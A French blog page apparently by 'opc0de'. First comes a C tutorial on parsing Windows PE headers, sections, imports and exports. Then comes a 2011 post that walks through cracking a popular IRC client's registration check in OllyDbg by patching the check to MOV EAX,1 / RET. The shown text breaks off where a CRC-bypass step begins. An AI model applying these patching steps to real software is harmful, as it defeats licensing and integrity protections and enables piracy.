Nous allons commencer par chercher puis afficher les informations qui nous sont disponibles dans la structure IMAGE_FILE_HEADER, ceci grâce à deux fonctions en C : fread() et fseek(). Il faudra lire IMAGE_DOS_HEADER, puis aller à l’offset e_lfanew et enfin lire IMAGE_NT_HEADERS.

#include <windows.h>
#include <stdio.h>
#include <time.h>

typedef struct
{
WORD flag;
PCHAR name;
}CHARACTERISTICS;

CHARACTERISTICS arrCharacteristics[] =
{
{IMAGE_FILE_RELOCS_STRIPPED, "RELOCS_STRIPPED"},
{IMAGE_FILE_EXECUTABLE_IMAGE, "EXECUTABLE_IMAGE"},
{IMAGE_FILE_LINE_NUMS_STRIPPED, "LINE_NUMS_STRIPPED"},
{IMAGE_FILE_LOCAL_SYMS_STRIPPED, "LOCAL_SYMS_STRIPPED"},
{IMAGE_FILE_AGGRESIVE_WS_TRIM, "AGGRESIVE_WS_TRIM"},
{IMAGE_FILE_LARGE_ADDRESS_AWARE, "LARGE_ADDRESS_AWARE"},
{IMAGE_FILE_BYTES_REVERSED_LO, "BYTES_REVERSED_LO"},
{IMAGE_FILE_32BIT_MACHINE, "32BIT_MACHINE"},
{IMAGE_FILE_DEBUG_STRIPPED, "DEBUG_STRIPPED"},
{IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP, "REMOVABLE_RUN_FROM_SWAP"},
{IMAGE_FILE_NET_RUN_FROM_SWAP, "NET_RUN_FROM_SWAP"},
{IMAGE_FILE_SYSTEM, "SYSTEM"},
{IMAGE_FILE_DLL, "DLL"},
{IMAGE_FILE_UP_SYSTEM_ONLY, "UP_SYSTEM_ONLY"},
{IMAGE_FILE_BYTES_REVERSED_HI, "BYTES_REVERSED_HI"}
};

void DumpImageFileHeader(IMAGE_FILE_HEADER iFileHeader);

int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
FILE *pfile = NULL;

if(argc != 2)
{
printf("USAGE: DumpImageFileHeader.exe <fichier>\n");
printf("EXAMPLE: DumpImageFileHeader.exe C:\\Windows\\System32\\kernel32.dll\n");
printf("\n");
system("PAUSE");
exit(1);
}

pfile = fopen(argv[1], "rb");

if(pfile == NULL)
{
printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
exit(1);
}

// On lit l'en-tête DOS :
fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

// On check la signature :
if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

// On se positionne à l'offset de l'en-tête NT :
fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

// On lit l'en-tête NT :
fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

// On check la signature :
if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

DumpImageFileHeader(iNtHeaders.FileHeader);

return 0;
}

void DumpImageFileHeader(IMAGE_FILE_HEADER iFileHeader)
{
// Machine
if(iFileHeader.Machine == IMAGE_FILE_MACHINE_I386)
printf("[*] Machine: %.4X (x86)\n", iFileHeader.Machine);
else if(iFileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)
printf("[*] Machine: %.4X (x64)\n", iFileHeader.Machine);
else printf("[*] Machine: %.4X (ni x86 ni x64)\n", iFileHeader.Machine);

printf("\n");

// NumberOfSections
printf("[*] NumberOfSections: %hu\n", iFileHeader.NumberOfSections);

printf("\n");

// TimeDateStamp
printf("[*] TimeDateStamp: %lu\n", iFileHeader.TimeDateStamp);
printf(" %s", ctime((time_t*)&iFileHeader.TimeDateStamp));

printf("\n");

// PointerToSymbolTable
printf("[*] PointerToSymbolTable: %.8X\n", iFileHeader.PointerToSymbolTable);

printf("\n");

// NumberOfSymbols
printf("[*] NumberOfSymbols: %lu\n", iFileHeader.NumberOfSymbols);

printf("\n");

// SizeOfOptionalHeader
printf("[*] SizeOfOptionalHeader: %hu\n", iFileHeader.SizeOfOptionalHeader);

printf("\n");

// Characteristics
printf("[*] Characteristics: %.4X\n", iFileHeader.Characteristics);
for(unsigned u = 0; u < sizeof(arrCharacteristics) / sizeof(CHARACTERISTICS); u++)
{
if(iFileHeader.Characteristics & arrCharacteristics[u].flag)
{
printf(" %s\n", arrCharacteristics[u].name);
}
}
}

Maintenant, occupons-nous de lister toutes les informations concernant chaque section. Le tableau des sections se trouve juste après IMAGE_NT_HEADERS et dans le code précédent nous avons obtenu le nombre de sections disponibles, nous savons donc combien de IMAGE_SECTION_HEADER il faut lire.

#include <windows.h>
#include <stdio.h>

typedef struct
{
DWORD flag;
PCHAR name;
}CHARACTERISTICS;

CHARACTERISTICS arrCharacteristics[] =
{
{IMAGE_SCN_TYPE_NO_PAD, "TYPE_NO_PAD"},
{IMAGE_SCN_CNT_CODE, "CNT_CODE"},
{IMAGE_SCN_CNT_INITIALIZED_DATA, "CNT_INITIALIZED_DATA"},
{IMAGE_SCN_CNT_UNINITIALIZED_DATA, "CNT_UNINITIALIZED_DATA"},
{IMAGE_SCN_LNK_OTHER, "LNK_OTHER"},
{IMAGE_SCN_LNK_INFO, "LNK_INFO"},
{IMAGE_SCN_LNK_REMOVE, "LNK_REMOVE"},
{IMAGE_SCN_LNK_COMDAT, "LNK_COMDAT"},
{IMAGE_SCN_NO_DEFER_SPEC_EXC, "NO_DEFER_SPEC_EXC"},
{IMAGE_SCN_GPREL, "GPREL"},
{IMAGE_SCN_MEM_FARDATA, "MEM_FARDATA"},
{IMAGE_SCN_MEM_PURGEABLE, "MEM_PURGEABLE"},
{IMAGE_SCN_MEM_16BIT, "MEM_16BIT"},
{IMAGE_SCN_MEM_LOCKED, "MEM_LOCKED"},
{IMAGE_SCN_MEM_PRELOAD, "MEM_PRELOAD"},
{IMAGE_SCN_ALIGN_1BYTES, "ALIGN_1BYTES"},
{IMAGE_SCN_ALIGN_2BYTES, "ALIGN_2BYTES"},
{IMAGE_SCN_ALIGN_4BYTES, "ALIGN_4BYTES"},
{IMAGE_SCN_ALIGN_8BYTES, "ALIGN_8BYTES"},
{IMAGE_SCN_ALIGN_16BYTES, "ALIGN_16BYTES"},
{IMAGE_SCN_ALIGN_32BYTES, "ALIGN_32BYTES"},
{IMAGE_SCN_ALIGN_64BYTES, "ALIGN_64BYTES"},
{IMAGE_SCN_ALIGN_128BYTES, "ALIGN_128BYTES"},
{IMAGE_SCN_ALIGN_256BYTES, "ALIGN_256BYTES"},
{IMAGE_SCN_ALIGN_512BYTES, "ALIGN_512BYTES"},
{IMAGE_SCN_ALIGN_1024BYTES, "ALIGN_1024BYTES"},
{IMAGE_SCN_ALIGN_2048BYTES, "ALIGN_2048BYTES"},
{IMAGE_SCN_ALIGN_4096BYTES, "ALIGN_4096BYTES"},
{IMAGE_SCN_ALIGN_8192BYTES, "ALIGN_8192BYTES"},
{IMAGE_SCN_ALIGN_MASK, "ALIGN_MASK"},
{IMAGE_SCN_LNK_NRELOC_OVFL, "LNK_NRELOC_OVFL"},
{IMAGE_SCN_MEM_DISCARDABLE, "MEM_DISCARDABLE"},
{IMAGE_SCN_MEM_NOT_CACHED, "MEM_NOT_CACHED"},
{IMAGE_SCN_MEM_NOT_PAGED, "MEM_NOT_PAGED"},
{IMAGE_SCN_MEM_SHARED, "MEM_SHARED"},
{IMAGE_SCN_MEM_EXECUTE, "MEM_EXECUTE"},
{IMAGE_SCN_MEM_READ, "MEM_READ"},
{IMAGE_SCN_MEM_WRITE, "MEM_WRITE"}
};

void GetSegmentsInfos(IMAGE_SECTION_HEADER iSectionHeader);

int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
IMAGE_SECTION_HEADER iSectionHeader;
FILE *pfile = NULL;

if(argc != 2)
{
printf("USAGE: GetSegmentsInfos.exe <fichier>\n");
printf("EXAMPLE: GetSegmentsInfos.exe C:\\Windows\\System32\\kernel32.dll\n");
printf("\n");
system("PAUSE");
exit(1);
}

pfile = fopen(argv[1], "rb");

if(pfile == NULL)
{
printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
exit(1);
}

// On lit l'en-tête DOS :
fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

// On check la signature :
if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

// On se positionne à l'offset de l'en-tête NT :
fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

// On lit l'en-tête NT :
fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

// On check la signature :
if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
{
// On lit une structure IMAGE_SECTION_HEADER :
fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);
GetSegmentsInfos(iSectionHeader);
}

fclose(pfile);

return 0;
}

void GetSegmentsInfos(IMAGE_SECTION_HEADER iSectionHeader)
{
// Name
printf("[*] Name: %s\n", iSectionHeader.Name);

printf("\n");

// VirtualSize :
printf("[*] VirtualSize: %lu\n", iSectionHeader.Misc.VirtualSize);

printf("\n");

// VirtualAddress :
printf("[*] VirtualAddress: %.8X\n", iSectionHeader.VirtualAddress);

printf("\n");

// SizeOfRawData :
printf("[*] SizeOfRawData: %lu\n", iSectionHeader.SizeOfRawData);

printf("\n");

// PointerToRawData :
printf("[*] PointerToRawData: %.8X\n", iSectionHeader.PointerToRawData);

printf("\n");

// PointerToRelocations :
printf("[*] PointerToRelocations: %.8X\n", iSectionHeader.PointerToRelocations);

printf("\n");

// PointerToLinenumbers :
printf("[*] PointerToLinenumbers: %.8X\n", iSectionHeader.PointerToLinenumbers);

printf("\n");

// NumberOfRelocations :
printf("[*] NumberOfRelocations: %hu\n", iSectionHeader.NumberOfRelocations);

printf("\n");

// NumberOfLinenumbers :
printf("[*] NumberOfLinenumbers: %hu\n", iSectionHeader.NumberOfLinenumbers);

printf("\n");

// Characteristics :
printf("[*] Characteristics: %.8X\n", iSectionHeader.Characteristics);
for(unsigned u = 0; u < sizeof(arrCharacteristics) / sizeof(CHARACTERISTICS); u++)
{
if(iSectionHeader.Characteristics & arrCharacteristics[u].flag)
{
printf(" %s\n", arrCharacteristics[u].name);
}
}

printf("\n");

printf(" -------------------------\n\n\n");
}

Pour dumper une section, il suffit de se placer à PointerToRawData de la section et de lire les bytes, exemple pour dumper le segment « .text » :

#include <windows.h>
#include <stdio.h>

void DumpTextSegment(IMAGE_SECTION_HEADER iSectionHeader, FILE *pfile);

int main(int argc, char *argv[])
{
IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
IMAGE_SECTION_HEADER iSectionHeader;
FILE *pfile = NULL;

if(argc != 2)
{
printf("USAGE: DumpTextSegment.exe <fichier>\n");
printf("EXAMPLE: DumpTextSegment.exe C:\\Windows\\System32\\kernel32.dll\n");
printf("\n");
system("PAUSE");
exit(1);
}

pfile = fopen(argv[1], "rb");

if(pfile == NULL)
{
printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
exit(1);
}

// On lit l'en-tête DOS :
fread(&iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pfile);

// On check la signature :
if(iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

// On se positionne à l'offset de l'en-tête NT :
fseek(pfile, iDosHeader.e_lfanew, SEEK_SET);

// On lit l'en-tête NT :
fread(&iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pfile);

// On check la signature :
if(iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

for(WORD w = 0; w < iNtHeaders.FileHeader.NumberOfSections; w++)
{
// On lit une section :
fread(&iSectionHeader, sizeof(IMAGE_SECTION_HEADER), 1, pfile);

// Est-ce la section .text?
if(!strcmp((char*)iSectionHeader.Name, ".text"))
{
DumpTextSegment(iSectionHeader, pfile);
break;
}
}

printf("\n");

return 0;
}

void DumpTextSegment(IMAGE_SECTION_HEADER iSectionHeader, FILE *pfile)
{
BYTE by = 0;
DWORD i;
unsigned u = 0;

// On se place au debut de la section :
fseek(pfile, iSectionHeader.PointerToRawData, SEEK_SET);

for(i = 0, u = 0; i < iSectionHeader.Misc.VirtualSize; i++, u++)
{
// On lit byte par byte :
fread(&by, sizeof(BYTE), 1, pfile);

if(u == 16)
{
printf("\n");
u = 0;
}

printf("%.2X ", by);
}
}

Maintenant, allons-y pour la table d’import, cette table contient les fonctions importées, c’est à dire les fonctions utilisées par un programme ou une dll mais qui ne réside pas dans ces derniers. Elles sont en fait définies dans d’autres dll. Par exemple, pour utiliser la fonction ExitProcess dans un programme, on doit l’importer de kernel32.dll ; pour la fonction MessageBox on l’importe de user32.dll.

Il est nécessaire pour lister les fonctions importées de savoir ce qu’est une RVA (Relative Virtual Address) : c’est enfaîte une adresse relative à une autre, l’adresse de base, par exemple si ImageBase est à 0x00400000 et que AddressOfEntryPoint est à 0x00001000 alors l’adresse du point d’entré de l’exécutable sera à 0x00401000.

On accède à la table d’importation grâce au champ DataDirectory de la structure IMAGE_OPTIONAL_HEADER, qui est un tableau de structure d’IMAGE_DATA_DIRECTORY contenant 2 membres : la RVA d’une structure de données et sa taille.
On trouve la structure de données qui nous intéresse, c’est à dire celle des importations, qui se nomme IMAGE_IMPORT_DESCRIPTOR, et tout cela grâce à la constante IMAGE_DIRECTORY_ENTRY_IMPORT qui correspond à l’index du tableau d’IMAGE_DATA_DIRECTORY.

Il y a autant d’IMAGE_IMPORT_DESCRIPTOR que de dll depuis lesquelles on importe des fonctions, le dernier a tous ses champs mis à 0.

Le champ Name de la structure IMAGE_IMPORT_DESCRIPTOR contient la RVA vers le nom de la dll. Les champs OriginalFirstThunk et FirstThunk sont normalement identiques tant que le programme n’est pas chargé. Ils peuvent être la RVA vers une structure appelée IMAGE_IMPORT_BY_NAME ou un simple DWORD, car une fonction peut être importée par son nom mais aussi par son ordinal/index (vous comprendrez tout cela dans la section suivante (celle qui parle des fonctions exportées).
Pour savoir si la fonction est importée par son nom ou par son index/ordinal, le bit de poids fort du « Thunk » sera égal à 0 sinon à 1. L’index sera le word de poids faible.
Pour tester ce bit, il existe une constante appelée IMAGE_ORDINAL_FLAG32.

Si la fonction est importée par son nom, on utilise la structure IMAGE_IMPORT_BY_NAME contenant deux champs, le premier : Hint qui contient l’index/ordinal de la fonction dans la table d’exportation de la dll, et le second : Name qui est le nom de la fonction.

Le dernier « Thunk » est à 0.

Si le programme ou la dll sont chargés en mémoire, alors FirstThunk devient l’adresse effective de la fonction, OriginalFirstThunk reste inchangé.

#include <windows.h>
#include <stdio.h>

typedef FILE *PFILE;

typedef struct _S_PE
{
PFILE pfile;
IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
PIMAGE_SECTION_HEADER piSectionHeader;
}S_PE, *PS_PE;

void ListImportedFunctions(PS_PE pspe);

void Init(PS_PE pspe);
DWORD RvaToOffset(PS_PE pspe, DWORD rva);
void ReadCstring(PS_PE pspe, char *name);

int main(int argc, char *argv[])
{
S_PE spe;

if(argc != 2)
{
printf("USAGE: ListImportedFunctions.exe <fichier>\n");
printf("EXAMPLE: ListImportedFunctions.exe C:\\Windows\\System32\\kernel32.dll\n");
printf("\n");
system("PAUSE");
exit(1);
}

memset(&spe, 0, sizeof(S_PE));

spe.pfile = fopen(argv[1], "rb");

if(spe.pfile == NULL)
{
printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
exit(1);
}

Init(&spe);

ListImportedFunctions(&spe);

printf("\n");

fclose(spe.pfile);

return 0;
}

void Init(S_PE *pspe)
{
// On lit l'en-tête DOS :
fread(&pspe->iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pspe->pfile);

// On check la signature :
if(pspe->iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

// On se positionne à l'offset de l'en-tête NT :
fseek(pspe->pfile, pspe->iDosHeader.e_lfanew, SEEK_SET);

// On lit l'en-tête NT :
fread(&pspe->iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pspe->pfile);

// On check la signature :
if(pspe->iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

// On lit toutes les sections :
pspe->piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * pspe->iNtHeaders.FileHeader.NumberOfSections);

for(unsigned i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
{
fread(&pspe->piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pspe->pfile);
}
}

DWORD RvaToOffset(PS_PE pspe, DWORD rva)
{
for(WORD i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
{
// La RVA est-elle dans cette section ?
if((rva >= pspe->piSectionHeader[i].VirtualAddress) && (rva < pspe->piSectionHeader[i].VirtualAddress + pspe->piSectionHeader[i].SizeOfRawData))
{
rva -= pspe->piSectionHeader[i].VirtualAddress;
rva += pspe->piSectionHeader[i].PointerToRawData;

return rva;
}
}

return -1;
}

void ReadCstring(PS_PE pspe, char *name)
{
DWORD n = 0;

do
{
fread(name+n, sizeof(char), 1, pspe->pfile);
n++;
}while(name[n-1] != 0 && n < 1023);

name[n] = 0;
}

void ListImportedFunctions(PS_PE pspe)
{
IMAGE_IMPORT_DESCRIPTOR iImportDesc;
char name[1024];
DWORD thunkData = 0;
WORD hint = 0;

// On se positionne a la table des fonctions importées :
DWORD offset = RvaToOffset(pspe, pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

for(DWORD i = 0;;i++)
{
// On se place à la structure IMAGE_IMPORT_DESCRIPTOR qu'il nous faut :
fseek(pspe->pfile, offset + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), SEEK_SET);

// On la lit :
fread(&iImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, pspe->pfile);

// Est-ce la dernière IMAGE_IMPORT_DESCRIPTOR?
if((iImportDesc.Characteristics == 0) && (iImportDesc.FirstThunk == 0) && (iImportDesc.ForwarderChain == 0)
&& (iImportDesc.Name == 0) && (iImportDesc.OriginalFirstThunk == 0) && (iImportDesc.TimeDateStamp == 0)) break;

// On va à la RVA du nom de la dll :
fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.Name), SEEK_SET);

// On lit le nom de la dll :
ReadCstring(pspe, name);
printf("[+] %s\n", name);

for(DWORD j = 0;;j++)
{
// On se place au Thunk qu'il nous faut :
if(iImportDesc.OriginalFirstThunk != 0)
fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.OriginalFirstThunk) + j * sizeof(DWORD), SEEK_SET);
else
fseek(pspe->pfile, RvaToOffset(pspe, iImportDesc.FirstThunk) + j * sizeof(DWORD), SEEK_SET);

// On le lit :
fread(&thunkData, sizeof(DWORD), 1, pspe->pfile);

// Est-ce le dernier?
if(thunkData == 0) break;

// Est-ce une fonction importée par son nom?
if((thunkData & IMAGE_ORDINAL_FLAG32) == 0)
{
// On va à la RVA sur IMAGE_IMPORT_BY_NAME :
fseek(pspe->pfile, RvaToOffset(pspe, thunkData), SEEK_SET);

// On lit le Hint :
fread(&hint, sizeof(WORD), 1, pspe->pfile);

printf(" %d - ", hint);

// On lit le nom :
ReadCstring(pspe, name);
printf("%s\n", name);
}
}
}
}

Et pour finir, l’inverse des fonctions importées c’est à dire les fonction exportées, ce sont les fonctions contenues dans les dll qui peuvent être appelées par tout autre programme ou dll. Comme pour les fonctions importées, on y accède grâce au tableau d’IMAGE_DATA_DIRECTORY obtenu depuis le champ DataDirectory de la structure IMAGE_OPTIONAL_HEADER. Cette fois-ci, on tombe sur la structure de données qui nous intéresse, c’est à dire la structure IMAGE_EXPORT_DIRECTORY, et tout cela en utilisant la constante IMAGE_DIRECTORY_ENTRY_EXPORT comme index pour le tableau d’IMAGE_DATA_DIRECTORY.

Le nombre de fonctions exportées par leur nom est contenu dans le champ NumberOfNames, les RVA des noms dans AddressOfNames, les ordinaux dans AddressOfNameOrdinals.
Ces deux champs doivent être parcourus en parallèle. Les adresses des fonctions sont dans AddressOfFunctions.

Quand un nom est trouvé, l’ordinal est utilisé comme index dans le tableau AddressOfFunctions, si la fonction est une forwarder, l’adresse correspond à une RVA vers la string indiquant où elle est forwardée.

#include <windows.h>
#include <stdio.h>

typedef FILE *PFILE;

typedef struct _S_PE
{
PFILE pfile;
IMAGE_DOS_HEADER iDosHeader;
IMAGE_NT_HEADERS iNtHeaders;
PIMAGE_SECTION_HEADER piSectionHeader;
}S_PE, *PS_PE;

void ListExportedFunctions(PS_PE pspe);

void Init(PS_PE pspe);
DWORD RvaToOffset(PS_PE pspe, DWORD rva);
void ReadCstring(PS_PE pspe, char *name);

int main(int argc, char *argv[])
{
S_PE spe;

if(argc != 2)
{
printf("USAGE: ListExportedFunctions.exe <fichier>\n");
printf("EXAMPLE: ListExportedFunctions.exe C:\\Windows\\System32\\kernel32.dll\n");
printf("\n");
system("PAUSE");
exit(1);
}

memset(&spe, 0, sizeof(S_PE));

spe.pfile = fopen(argv[1], "rb");

if(spe.pfile == NULL)
{
printf("ERREUR : impossible d'ouvrir %s\n", argv[1]);
exit(1);
}

Init(&spe);

ListExportedFunctions(&spe);

fclose(spe.pfile);

return 0;
}

void Init(S_PE *pspe)
{
// On lit l'en-tête DOS :
fread(&pspe->iDosHeader, sizeof(IMAGE_DOS_HEADER), 1, pspe->pfile);

// On check la signature :
if(pspe->iDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!n");
exit(1);
}

// On se positionne à l'offset de l'en-tête NT :
fseek(pspe->pfile, pspe->iDosHeader.e_lfanew, SEEK_SET);

// On lit l'en-tête NT :
fread(&pspe->iNtHeaders, sizeof(IMAGE_NT_HEADERS), 1, pspe->pfile);

// On check la signature :
if(pspe->iNtHeaders.Signature != IMAGE_NT_SIGNATURE)
{
printf("ERREUR : le fichier n'est pas valide!\n");
exit(1);
}

// On lit toutes les sections :
pspe->piSectionHeader = (PIMAGE_SECTION_HEADER)malloc(sizeof(IMAGE_SECTION_HEADER) * pspe->iNtHeaders.FileHeader.NumberOfSections);

for(unsigned i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
{
fread(&pspe->piSectionHeader[i], sizeof(IMAGE_SECTION_HEADER), 1, pspe->pfile);
}
}

void ListExportedFunctions(PS_PE pspe)
{
IMAGE_EXPORT_DIRECTORY iExportDir;
DWORD namePos = 0;
WORD ordinal = 0;
DWORD address = 0;
char name[1024];

// On se positionne à la table des fonctions exportées :
fseek(pspe->pfile, RvaToOffset(pspe, pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), SEEK_SET);

// On lit la structure IMAGE_EXPORT_DIRECTORY :
fread(&iExportDir, sizeof(IMAGE_EXPORT_DIRECTORY), 1, pspe->pfile);

printf("NumberOfNames: %d\n\n", iExportDir.NumberOfNames);

printf("ordinal / index -- name -- address\n\n");

for(DWORD i = 0; i < iExportDir.NumberOfNames; i++)
{
// Ordinal
fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfNameOrdinals) + i * sizeof(WORD), SEEK_SET);
fread(&ordinal, sizeof(WORD), 1, pspe->pfile);
ordinal += (WORD)iExportDir.Base;
printf("%d -- ", ordinal);

// Name
fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfNames) + i * sizeof(DWORD), SEEK_SET);
fread(&namePos, sizeof(DWORD), 1, pspe->pfile);
fseek(pspe->pfile, RvaToOffset(pspe, namePos), SEEK_SET);
ReadCstring(pspe, name);
printf("%s -- ", name);

// Address
fseek(pspe->pfile, RvaToOffset(pspe, iExportDir.AddressOfFunctions) + (ordinal - iExportDir.Base) * sizeof(DWORD), SEEK_SET);
fread(&address, sizeof(DWORD), 1, pspe->pfile);
printf("%.8X", address);

// Is forwarded ?
if(pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress < address
&& address < pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + pspe->iNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
{
fseek(pspe->pfile, RvaToOffset(pspe, address), SEEK_SET);
ReadCstring(pspe, name);
printf(" (forwarder -> %s)\n", name);
}
else printf("\n");
}
}

DWORD RvaToOffset(PS_PE pspe, DWORD rva)
{
for(WORD i = 0; i < pspe->iNtHeaders.FileHeader.NumberOfSections; i++)
{
// La RVA est-elle dans cette section?
if((rva >= pspe->piSectionHeader[i].VirtualAddress) && (rva < pspe->piSectionHeader[i].VirtualAddress + pspe->piSectionHeader[i].SizeOfRawData))
{
rva -= pspe->piSectionHeader[i].VirtualAddress;
rva += pspe->piSectionHeader[i].PointerToRawData;

return rva;
}
}

return -1;
}

void ReadCstring(PS_PE pspe, char *name)
{
DWORD n = 0;

do
{
fread(name+n, sizeof(char), 1, pspe->pfile);
n++;
}while(name[n-1] != 0 && n < 1023);

name[n] = 0;
}

Voilà tout pour cet article 🙂

Références :
Peering Inside the PE: A Tour of the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format, Part 2
Microsoft PE and COFF Specification

Publié dans File format | Marqué avec pe, pe format, portable executable, win32 | Laisser un commentaire

Introduction au cracking (le cas basique) :

Publié le 10 septembre 2011 par opc0de

En guise de petite introduction au cracking, je vais vous expliquer, à titre informatif, comment cracker un des clients IRC (sûrement le plus utilisé actuellement sur windows).

L’outil utilisé pour y parvenir est le débogueur OllyDbg.

Il faut ouvrir le logiciel que l’on souhaite cracker avec OllyDbg pour pouvoir analyser son comportement. On lance donc en premier OllyDbg, puis « File -> Open » pour indiquer où se trouve le logiciel.

Première chose : lancer le logiciel. Sur OllyDbg, touche « F9 » ou « Debug -> Run ».

Je ferme toutes les boîtes de dialogue du logiciel en question (sur celui-ci, il y en a deux qui s’affichent au démarrage), et je cherche dans le menu où est-ce que je peux entrer les informations d’enregistrement.

L’enregistrement :

Une fois ce menu trouvé, une boîte de dialogue apparaît me demandant mon nom et mon code d’enregistrement.

Dans l’API windows, c’est la fonction DialogBoxParam qui est utilisée pour créer cette boîte de dialogue.

Je retourne sur OllyDbg et je place un breakpoint sur chaque appel de DialogBoxParam. Dans la fenêtre CPU, partie code assembleur, je fais un clique droit -> « Search for » -> « Name (label) in current module » (CTRL+N) pour ensuite cliquer droit sur « USER32.DialogBoxParamW » et choisir « Set breakpoint on every reference ».

Je retourne maintenant dans le menu d’enregistrement pour cliquer dessus. OllyDbg devrait break avant l’affichage de la boîte de dialogue, me demandant mon nom et mon code d’enregistrement.

Il faut maintenant se rendre dans la fonction qui gère les messages de cette boîte de dialogue. Si je regarde sur la partie de la fenêtre CPU réservée à la pile, je vois l’adresse de cette fonction. Elle se nomme « DlgProc ». Il me suffit de taper « entrer » dessus.

Me voilà dans la fonction qui va traiter chaque évènement de cette boîte de dialogue. Avec l’API windows, je sais que pour obtenir le texte d’un contrôle il faut utiliser le message « WM_GETTEXT ». Je vais donc chercher ce message dans la fenêtre CPU au niveau du code assembleur.

Quelques lignes plus bas, je peux voir deux fonctions nommées « SendDlgItemMessageW » qui utilisent ce message (WM_GETTEXT). Ces fonctions sont utilisées pour obtenir le texte des contrôles me demandant mon nom et mon code d’enregistrement.

Je place un breakpoint juste après ces deux fonctions, il suffit pour cela de double cliquer sur les bytes correspondants à la ligne ou F2 (l’adresse de la ligne devient rouge) puis de continuer l’exécution du logiciel avec la touche F9.

La boîte de dialogue apparaît et me demande d’entrer les informations, je vais entrer « opc0de » en tant que nom et « azertyuiop » en tant que code d’enregistrement puis valider.

Je retourne dans OllyDbg qui s’est arrêté sur mon breakpoint placé après les deux WM_GETTEXT. Il s’agit maintenant de continuer pas à pas, c’est à dire touche F7 ou F8. J’ai supposé qu’une fonction devait vérifier si ce que je viens d’entrer est correct. Je sais qu’en assembleur, le retour d’une fonction se trouve dans le registre EAX. J’ai donc cherché chaque instruction qui testait ou comparait ce registre après un call dans le code, pour finir sur la bonne fonction se trouvant juste avant un « Sleep » de 1000 ms.

1
2
3
4
5
6

CALL logiciel.adresse
ADD ESP,0C
TEST EAX,EAX
JE logiciel.adresse
PUSH 3E8
CALL DWORD PTR DS:[]

Une fois trouvée, j’entre dans la fonction du CALL logiciel.adresse avec la touche F7. Pour assembler deux instructions je clique droit sur « Assemble » ou touche espace. La première : MOV EAX,1 puis à la suite, la deuxième instruction RET.

Je continue l’exécution du programme pour voir ce qu’il se passe avec F9. OllyDbg break encore sur DialogBoxParamW, je passe donc toujours avec F9.

Et là, une nouvelle boîte de dialogue apparaît me confirmant mon enregistrement!

Cette partie étant réglée, je sauvegarde le binaire par un clique droit sur la fenêtre CPU (partie code assembleur) -> Copy to executable -> All modification -> Copy all. Je ferme la nouvelle fenêtre, puis je répond « oui » et « Enregistrer » pour écraser celui d’origine.

Maintenant, si j’essaie d’exécuter le logiciel en dehors d’OllyDbg, rien ne se passe. Le logiciel a une protection qui contrôle l’intégralité du binaire (CRC) et comme je viens de le modifier, il refuse de s’exécuter.

Le CRC :

